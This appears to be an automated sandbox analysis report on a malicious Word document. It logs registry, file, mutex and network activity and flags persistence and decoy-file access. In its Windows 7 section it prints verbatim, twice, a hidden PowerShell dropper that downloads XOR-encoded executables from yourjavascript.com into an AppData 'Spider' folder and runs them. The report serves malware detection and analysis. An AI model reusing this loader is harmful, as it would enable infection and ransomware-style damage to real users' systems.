16	Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{5462fe43-8f32-11e7-9fce-806d6172696f}\BaseClass to value Drive
17	Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{824de890-de85-11e7-95b5-6002924f2438}\BaseClass to value Drive
18	Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{946eb570-907b-11e7-9580-806d6172696f}\BaseClass to value Drive
19	Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\G\BaseClass to value Drive
20	Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Personal to value C:\Documents and Settings\Administrator\My Documents
21	Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Common Documents to value C:\Documents and Settings\All Users\Documents
22	Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Common Desktop to value C:\Documents and Settings\All Users\Desktop
23	Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Cache to value C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files
24	Created file C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.Word\~WRS{15704B66-BFA2-44F1-A8E9-2E114E5A82A2}.tmp
25	Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Local AppData to value C:\Documents and Settings\Administrator\Local Settings\Application Data
26	Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Word\Resiliency\StartupItems\"+7 to value NULL
27	Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Word\Resiliency\StartupItems\1+7 to value NULL
28	Created file C:\Documents and Settings\Administrator\Application Data\Microsoft\Word\STARTUP\~$c_hook.dotm
29	Created file C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.Word\~WRF{203A73D4-DDBA-4DF4-AAF7-035A9A829E69}.tmp
30	Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002119410000000000000000F01FEC\Usage\VBAFiles to value 1267400705
31	Created file C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.Word\~WRS{1DFD4BA6-7280-4285-8E16-E2C144FFE56E}.tmp
32	Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002119410000000000000000F01FEC\Usage\WORDFiles to value 1267400709
33	Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002119410000000000000000F01FEC\Usage\WORDFiles to value 1267400710
34	Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002119410000000000000000F01FEC\Usage\WORDFiles to value 1267400712
35	Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002119410000000000000000F01FEC\Usage\WORDFiles to value 1267400715
36	Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002119410000000000000000F01FEC\Usage\WORDFiles to value 1267400717
37	Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002119410000000000000000F01FEC\Usage\WORDFiles to value 1267400719

38 Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002119410000000000000000F01FEC\Usage\WORDFiles to value 1267400721

39 Created mutex

40 Created mutex

41 Created mutex

42 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Common\Licensing\0638C49DBB8B4CD1B191051E8F325736 to value NULL

43 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Word\Resiliency\StartupItems\=47 to value NULL

44 Created file C:\Documents and Settings\Administrator\Local Settings\Temp\~DFA428.tmp

45 Deleted file C:\Documents and Settings\Administrator\Local Settings\Temp\~DFA428.tmp

46 Created file c:\documents and settings\administrator\~$navwomhut.doc

47 Created file C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.Word\~WRS{79E75B4F-4B3B-4D10-AF4B-6992EE253F07}.tmp

48 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Common\ReviewCycle\ReviewToken to value {9B796BA1-F745-4405-8719-DF65235B6E5B}

49 Created mutex Global\MTX_MSO_Formal1_S-1-5-21-515967899-776561741-1417001333-500

50 Created mutex Global\MTX_MSO_AdHoc1_S-1-5-21-515967899-776561741-1417001333-500

51 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Word\File MRU\Item 1 to value [F00000000][T01D37257CD845780]*c:\documents and settings\administrator\sample.doc

52 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Word\File MRU\Item 2 to value [F00000000][T01D366252980B400]*C:\Documents and Settings\Administrator\My Documents\hNOjsTJju.doc

53 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Word\File MRU\Item 3 to value [F00000000][T01D3648B8D6F7500]*C:\Documents and Settings\Administrator\My Documents\AEbVwF3ce.doc

54 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Word\File MRU\Item 4 to value [F00000000][T01D364793FEA0C80]*C:\Documents and Settings\Administrator\My Documents\zFEVLg.docm

55 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Word\File MRU\Item 5 to value [F00000000][T01D362F311DAC000]*C:\Documents and Settings\Administrator\My Documents\Kdv.docx

56 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Word\File MRU\Item 6 to value [F00000000][T01D35EBBD0DE4800]*C:\Documents and Settings\Administrator\My Documents\P3mi.docm

57 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Word\File MRU\Item 7 to value [F00000000][T01D35C3E62D91D00]*C:\Documents and Settings\Administrator\My Documents\9V2wLck.docm

58 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Word\File MRU\Item 1 to value [F00000000][T01D37257CD845780]*c:\documents and settings\administrator\sample.doc

59 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Word\File MRU\Item 2 to value [F00000000][T01D366252980B400]*C:\Documents and Settings\Administrator\My Documents\hNOjsTJju.doc

60 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Word\File MRU\Item 3 to value [F00000000][T01D3648B8D6F7500]*C:\Documents and Settings\Administrator\My Documents\AEbVwF3ce.doc

61 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Word\File MRU\Item 4 to value [F00000000][T01D364793FEA0C80]*C:\Documents and Settings\Administrator\My Documents\zFEVLg.docm

62 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Word\File MRU\Item 5 to value [F00000000][T01D362F311DAC000]*C:\Documents and Settings\Administrator\My Documents\Kdv.docx

63 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Word\File MRU\Item 6 to value [F00000000][T01D35EBBD0DE4800]*C:\Documents and Settings\Administrator\My Documents\P3mi.docm

64 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Word\File MRU\Item 7 to value [F00000000][T01D35C3E62D91D00]*C:\Documents and Settings\Administrator\My Documents\9V2wLck.docm

65 Created file C:\Documents and Settings\Administrator\Application Data\Microsoft\Office\Recent\xbnavwomhut.LNK

66 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Word\Resiliency\DocumentRecovery\91A52F\91A52F to value NULL

67 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Start Menu to value C:\Documents and Settings\Administrator\Start Menu

68 Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Common Start Menu to value C:\Documents and Settings\All Users\Start Menu

69 Created file C:\Documents and Settings\Administrator\Application Data\Microsoft\Office\Recent\Administrator.LNK

70 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\My Pictures to value C:\Documents and Settings\Administrator\My Documents\My Pictures

71 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\My Pictures to value C:\Documents and Settings\Administrator\My Documents\My Pictures

72 Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\CommonPictures to value C:\Documents and Settings\All Users\Documents\My Pictures

73 Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\CommonPictures to value C:\Documents and Settings\All Users\Documents\My Pictures

74 Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\CommonMusic to value C:\Documents and Settings\All Users\Documents\My Music

75 Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\CommonVideo to value C:\Documents and Settings\All Users\Documents\My Videos

76 Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\CommonVideo to value C:\Documents and Settings\All Users\Documents\My Videos

77 Created mutex

78 Created mutex

79 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\Common\Smart Tag\Actions\{16A933D2-A296-49D5-96FC-C7C2DAEE88B4}\ to value

80 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\Common\Smart Tag\Actions\{16A933D2-A296-49D5-96FC-C7C2DAEE88B4}\filename to value C:\PROGRA~1\COMMON~1\MICROS~1\SMARTT~1\LISTS\BASMLA.XSL

81 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\Common\Smart Tag\Actions\{3CC385AC-95CC-4A75-BF35-AB36AE645BCF}\ to value

82 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\Common\Smart Tag\Recognizers\{64AB6C69-B40E-40AF-9B7F-F5687B48E2B6}\urn:schemas-microsoft-com:office:smarttags#stockticker\OpusApp to value 1

83 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\Common\Smart Tag\Recognizers\{64AB6C69-B40E-40AF-9B7F-F5687B48E2B6}\urn:schemas-microsoft-com:office:smarttags#phone\OpusApp to value 1

84 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\Common\Smart Tag\Recognizers\{64AB6C69-B40E-40AF-9B7F-F5687B48E2B6}\urn:schemas-microsoft-com:office:smarttags#date\XLMAIN to value 1

85 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\Common\Smart Tag\migratedBitValues to value NULL

86 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\Common\Smart Tag\Applications\OpusApp\FriendlyName to value Microsoft Word 12.0

87 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\Common\Smart Tag\Applications\OpusApp\Save to value NULL

88 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\Common\Smart Tag\Applications\OpusApp\ShowButtons to value NULL

89 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\Common\Smart Tag\Applications\OpusApp\ShowIndicators to value NULL

90 Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002109F100A0C00000000000F01FEC\Usage\SpellingAndGrammarFiles_3082 to value 1267400705

91 Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002109F100A0C00000000000F01FEC\Usage\SpellingAndGrammarFiles_3082 to value 1267400706

92 Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002109F100A0C00000000000F01FEC\Usage\SpellingAndGrammarFiles_3082 to value 1267400707

93 Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002109F10090400000000000F01FEC\Usage\SpellingAndGrammarFiles_1033 to value 1267400706

94 Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002109F10090400000000000F01FEC\Usage\SpellingAndGrammarFiles_1033 to value 1267400707

95 Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002109F10090400000000000F01FEC\Usage\SpellingAndGrammarFiles_1033 to value 1267400708

96 Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002109F100C0400000000000F01FEC\Usage\SpellingAndGrammarFiles_1036 to value 1267400705

97 Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002109F100C0400000000000F01FEC\Usage\SpellingAndGrammarFiles_1036 to value 1267400706

98 Created mutex

99 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Shared Tools\Proofing Tools\1.0\Custom Dictionaries\1 to value CUSTOM.DIC

100 Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002109F100C0400000000000F01FEC\Usage\SpellingAndGrammarFiles_1036 to value 1267400707

101 Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002109F100C0400000000000F01FEC\Usage\SpellingAndGrammarFiles_1036 to value 1267400708

102 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Shared Tools\Proofing Tools\1.0\Custom Dictionaries\UpdateComplete to value 1

103 Created file C:\Documents and Settings\Administrator\Application Data\Microsoft\UProof\CUSTOM.DIC

104 Created mutex

105 Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002109F10090400000000000F01FEC\Usage\SpellingAndGrammarFiles_1033 to value 1267400709

106 Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002109F10090400000000000F01FEC\Usage\SpellingAndGrammarFiles_1033 to value 1267400710

107 Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002109F10090400000000000F01FEC\Usage\SpellingAndGrammarFiles_1033 to value 1267400711

108 Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002109F10090400000000000F01FEC\Usage\SpellingAndGrammarFiles_1033 to value 1267400712

109 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Shared Tools\Proofing Tools\Grammar\MSGrammar\3.0\1033\Options Version to value 1

110 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Shared Tools\Proofing Tools\Grammar\MSGrammar\3.0\1033\Option Set 0\Name to value Grammar & Style

111 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Shared Tools\Proofing Tools\Grammar\MSGrammar\3.0\1033\Option Set 0\Data to value NULL

112 Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Shared Tools\Proofing Tools\Grammar\MSGrammar\3.0\1033\Option Set 1\Name to value Grammar Only

113	Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Shared Tools\Proofing Tools\Grammar\MSGrammar\3.0\1033\Option Set 1\Data to value NULL
114	Deleted file C:\Documents and Settings\Administrator\Application Data\Microsoft\Word\STARTUP\~$c_hook.dotm
115	Deleted file C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.Word\~WRS{1DFD4BA6-7280-4285-8E16-E2C144FFE56E}.tmp
116	Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Common\Toolbars\Settings\Microsoft Office Word to value NULL
117	Set key \REGISTRY\USER\S-1-5-21-515967899-776561741-1417001333-500\Software\Microsoft\Office\12.0\Word\Data\Settings to value NULL

4.2. VM2 (Windows 7 x64 SP1, Adobe Reader 11, Flash 11, Office 2010)

4.2.1. Behavioral Summary

This sample was found to be **malware** on this virtual machine.

Behavior	Severity
Created or modified a file in the Windows system folder The Windows system folder contains configuration files and executables that control the underlying functions of the system. Malware often modifies the contents of this folder to manipulate the system, establish persistence, and avoid detection.	
Created or modified a file Legitimate software creates or modifies files to preserve data across system restarts. Malware may create or modify files to deliver malicious payloads or maintain persistence on a system.	
Started a process from a user folder User folders are storage locations for music, pictures, downloads, and other user-specific files. Malware often runs executable content out of these folders to avoid detection, while legitimate applications are usually run out of the Windows, Windows system, or Program Files folders.	
Started a process A process running on the system may start additional processes to perform actions in the background. This behavior is common to legitimate software as well as malware.	
Modified the Windows Registry The Windows Registry houses system configuration settings and options, including information about installed applications, services, and drivers. Malware often modifies registry data to establish persistence on the system and avoid detection.	
Modified the Windows Registry to enable auto-start The Windows Registry Run keys allow an application to specify that it should be launched during system startup. Malware often leverages this mechanism to establish persistence on the system and ensure that it will be run each time the system boots up.	
Modified the Windows Registry to enable auto-start for a file in a user folder The Windows Registry Run keys allow an application to specify that it should be launched during system startup. Malware often leverages this mechanism to ensure that it will be run each time the system boots up, and may run content out of a user folder to avoid detection.	
Used a short HTTP header Standard HTTP requests contain a small amount of metadata in the form of an HTTP header. Malware often uses HTTP headers much shorter than those used by legitimate applications, or omits the HTTP header altogether.	
Opened a Windows PowerShell window Windows PowerShell is an enhanced command-line interface and scripting environment for administrators. While it is common for users to open PowerShell windows, legitimate applications rarely do so.	
Created an executable file in a user folder User folders are storage locations for music, pictures, downloads, and other user-specific files. Legitimate applications rarely place executable content in these folders, while malware often does so to avoid detection.	
Enumerated running processes Malware often enumerates running processes before injecting malicious code into them.	
Accessed decoy files The WildFire sandbox deploys a number of decoy files crafted to mimic desirable user information like credit card and Social Security numbers. A sample that accesses these files is likely malicious and designed to steal personal information from users.	

4.2.2. Network Activity

DNS Queries

Domain Name	Query Type	DNS Response
yourjavascript.com	NS	ns4dls.name.com
akadns.net	NS	a13-130.akadns.org
time.windows.com	A	13.65.88.161

HTTP Requests

HTTP Method	URL	User-Agent
GET	yourjavascript.com/5118631477/javascript-dec-2-25-2.js	

Connections

Host	Port	Protocol	Country
80.241.212.33	80	TCP	DE
224.0.0.252	5355	UDP	-
13.65.88.161	123	UDP	US

4.2.3. Host Activity

Process Activity

Process Name - powershell.exe

(command: powershell.exe -windowstyle hidden $dir = [Environment]::GetFolderPath('ApplicationData') + '\Spider';$enc = [System.Text.Encoding]::UTF8;function xor {param($string, $method)$xorkey = $enc.GetBytes('AlberTI');$string = $enc.GetString([System.Convert]::FromBase64String($string));$byteString = $enc.GetBytes($string);$xordData = $(for ($i = 0; $i -lt $byteString.length){for($j = 0; $j -lt $xorkey.length; $j++) {$byteString[$i] -bxor $xorkey[$j];$i++;if($i -ge $byteString.Length){$j = $xorkey.length}}});$xordData = $enc.GetString($xordData);return $xordData};function data {param($method)$webClient = New-Object System.Net.WebClient; if ($method -eq 'd'){$input = $webClient.DownloadString('http://yourjavascript.com/5118631477/javascript-dec-2-25-2.js')}else{$input = $webClient.DownloadString('http://yourjavascript.com/53103201277/javascript-enc-1-0-9.js')}$bytes = [Convert]::FromBase64String((xor $input 'd'));return $bytes};function io {param($method)if($method -eq 'd') {$filename = $dir + '\dec.exe'}else{$filename = $dir + '\enc.exe'}[IO.File]::WriteAllBytes($filename, (data $method))};function run {param($method)if ($method -eq 'd'){io 'd'; Start-Process -FilePath ($dir + '\dec.exe') -ArgumentList 'spider'}else{io 'e'; Start-Process -FilePath ($dir + '\enc.exe') -ArgumentList 'spider', 'ktn', '100'}};if(Test-Path $dir){}else{md $dir; run 'd'; run 'e' })

Process Activity

Child Process	Action
C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe	Create
C:\Users\Qr2xkN\AppData\Roaming\Spider\enc.exe	Create

File Activity

File	Action	Size(B)	File Type	Hash
C:\Users\Qr2xkN\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\P5XFTSY5ST9FXEEDGNC5.temp	Create	N/A	N/A	md5:N/A sha1:N/A sha256:N/A

C:\Users\Administrator\AppData\Local\Temp\c3yobvva.da1.ps1	Create	N/A	N/A	md5:N/A sha1:N/A sha256:N/A
C:\Users\Administrator\AppData\Local\Temp\w00ucqg0.cbx.psm1	Create	N/A	N/A	md5:N/A sha1:N/A sha256:N/A
C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe	Create	222208	exe	md5:fdd465863a4c44aa678554332d20aee3 sha1:13e2fffd77a1380247b5105880679460e8017baa sha256:74e5096f09a031800216640a8455bc487e9a32b2e56fbad9d083c3810ed5488e
C:\Users\Qr2xkN\AppData\Roaming\Spider\enc.exe	Create	N/A	N/A	md5:N/A sha1:N/A sha256:N/A
C:\Users\Qr2xkN\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	Create	1632	unknown	md5:f4ccb3cc10294ffe82e6fec2c7eaca0a sha1:6819a12e94e717e5d739f7b880d9930c69c3befc sha256:defe9efc61a87fa031886a4f36c518df5487e40d1b017cf713da3aa26e7eda24
C:\Users\Administrator\AppData\Local\Temp\c3yobvva.da1.ps1	Delete	1	unknown	md5:C4CA4238A0B923820DCC509A6F75849B sha1:356a192b7913b04c54574d18c28d46e6395428ab sha256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
C:\Users\Administrator\AppData\Local\Temp\w00ucqg0.cbx.psm1	Delete	1	unknown	md5:C4CA4238A0B923820DCC509A6F75849B sha1:356a192b7913b04c54574d18c28d46e6395428ab sha256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

Registry Activity

Registry Key	Value	Action
\REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet	0	Set
\REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect	1	Set

Created Mutexes

Mutex Name
<NULL>
_SHuassist.mtx
Local\ZonesCounterMutex

Local\ZoneAttributeCacheCounterMutex
Local\ZonesCacheCounterMutex
Local\ZonesLockedCacheCounterMutex

Process Name - enc.exe

(command: C:\Users\Qr2xkN\AppData\Roaming\Spider\enc.exe)

No activity recorded for this process.

Process Name - dec.exe

(command: C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe)

No activity recorded for this process.

Process Name - WINWORD.EXE

(command: C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE)

Process Activity

Child Process	Action
powershell.exe -windowstyle hidden $dir = [Environment]::GetFolderPath('ApplicationData') + '\Spider';$enc = [System.Text.Encoding]::UTF8;function xor {param($string, $method)$xorkey = $enc.GetBytes('AlberTI');$string = $enc.GetString([System.Convert]::FromBase64String($string));$byteString = $enc.GetBytes($string);$xordData = $(for ($i = 0; $i -lt $byteString.length){for($j = 0; $j -lt $xorkey.length; $j++){$byteString[$i] -bxor $xorkey[$j];$i++;if($i -ge $byteString.Length){$j = $xorkey.length}}});$xordData = $enc.GetString($xordData);return $xordData};function data {param($method)$webClient = New-Object System.Net.WebClient; if ($method -eq 'd'){$input = $webClient.DownloadString('http://yourjavascript.com/5118631477/javascript-dec-2-25-2.js')}else{$input = $webClient.DownloadString('http://yourjavascript.com/53103201277/javascript-enc-1-0-9.js')}$bytes = [Convert]::FromBase64String((xor $input 'd'));return $bytes};function io {param($method)if($method -eq 'd'){$filename = $dir + '\dec.exe'}else{$filename = $dir + '\enc.exe'}[IO.File]::WriteAllBytes($filename, (data $method))};function run {param($method)if ($method -eq 'd'){io 'd'; Start-Process -FilePath ($dir + '\dec.exe') -ArgumentList 'spider'}else{io 'e'; Start-Process -FilePath ($dir + '\enc.exe') -ArgumentList 'spider', 'ktn', '100'}};if(Test-Path $dir){}else{md $dir; run 'd'; run 'e' }	Create

File Activity

File	Action	Size(B)	File Type	Hash
C:\Users\Administrator\AppData\Local\Temp\CVRBE9C.tmp	Create	N/A	N/A	md5:N/A sha1:N/A sha256:N/A
C:\Users\Qr2xkN\AppData\Roaming\Microsoft\Templates\~$Normal.dotm	Create	N/A	N/A	md5:N/A sha1:N/A sha256:N/A
C:\Users\Qr2xkN\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{B66F2FB6-A288-4710-9392-E6A6491CC89F}.tmp	Create	1024	unknown	md5:5d4d94ee7e06bbb0af9584119797b23a sha1:dbb111419c704f116efa8e72471dd83e86e49677 sha256:4826c0d860af884d3343ca6460b0006a7a2ce7dbccc4d743208585d997cc5fd1
C:\Users\Qr2xkN\AppData\Roaming\Microsoft\Word\STARTUP\~$c_hook.dotm	Create	N/A	N/A	md5:N/A sha1:N/A sha256:N/A
C:\Users\Qr2xkN\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{0F2E9469-D8DC-42D0-8F38-462838C457E1}.tmp	Create	N/A	N/A	md5:N/A sha1:N/A sha256:N/A
C:\Users\Qr2xkN\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{19F29682-612C-441D-A0A3-3529EF85785C}.tmp	Create	N/A	N/A	md5:N/A sha1:N/A sha256:N/A

C:\Users\Administrator\AppData\Local\Temp\\~DF9C50D316F815D31C.TMP	Create	N/A	N/A	md5:N/A sha1:N/A sha256:N/A
C:\Users\Administrator\~$navwomhut.doc	Create	N/A	N/A	md5:N/A sha1:N/A sha256:N/A
C:\Users\Qr2xkN\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{69866B24-B105-4C8D-B7B4-B9507CA173FA}.tmp	Create	N/A	N/A	md5:N/A sha1:N/A sha256:N/A
C:\Users\Qr2xkN\AppData\Roaming\Microsoft\Office\Recent\xbnavwomhut.LNK	Create	N/A	N/A	md5:N/A sha1:N/A sha256:N/A
C:\Users\Administrator\AppData\Local\Temp\\~DF9C50D316F815D31C.TMP	Delete	N/A	N/A	md5:N/A sha1:N/A sha256:N/A
C:\Users\Qr2xkN\AppData\Roaming\Microsoft\Office\Recent\xbnavwomhut.LNK	Delete	924	unknown	md5:5A56E2809E01A466AD0DF6E6CF72F343 sha1:d4f982e6829c278fb02bb3b536220e67d150d297 sha256:AB545159EBFA4A2FD0A7D880338557DE1C745407B48D763C3162C585B0C68E32

Registry Activity

Registry Key	Value	Action
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems		Create
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages		Create
\REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages		Create
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\Migration\Office		Create
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\Migration\Word		Create
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004119110000000000000000F01FEC\Usage		Create
\REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Common\LCCache\Themes		Create
\REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Common\LCCache\Themes\1033\		Create
\REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Common\LCCache\WordDocParts		Create
